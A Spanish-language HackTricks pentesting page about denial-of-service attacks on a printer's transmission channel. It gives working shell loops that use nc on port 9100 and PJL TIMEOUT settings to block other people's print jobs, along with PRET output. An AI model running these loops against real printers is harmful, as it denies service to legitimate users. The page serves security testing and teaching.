hacktricks/network-services-pentesting/pentesting-printers/transmission-channel.md

4 KiB
Raw Blame History

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si los trabajos de impresión se procesan en serie lo cual se asume para la mayoría de los dispositivos solo se puede manejar un trabajo a la vez. Si este trabajo no termina, el canal de impresión efectivamente queda bloqueado hasta que se activa un tiempo de espera, impidiendo que los usuarios legítimos puedan imprimir.

DoS Básico:

while true; do nc printer 9100; done

Este ataque trivial de denegación de servicio puede mejorarse estableciendo un valor de tiempo de espera alto con PJL, luego el número de conexiones que un atacante debe realizar se minimiza mientras que es aún más difícil para los usuarios legítimos obtener un intervalo de tiempo libre:

# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done

Puedes usar PRET para encontrar la configuración de tiempo de espera:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
5
300

Mientras que la referencia PJL especifica un tiempo máximo de espera de 300 segundos, en la práctica los tiempos máximos de espera PJL pueden variar de 15 a 2147483 segundos. Tenga en cuenta que incluso los trabajos de impresión recibidos de otros canales de impresión como IPP o LPD no se procesan más mientras la conexión se mantenga abierta.

Aprende más sobre este ataque en http://hacking-printers.net/wiki/index.php/Transmission_channel

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: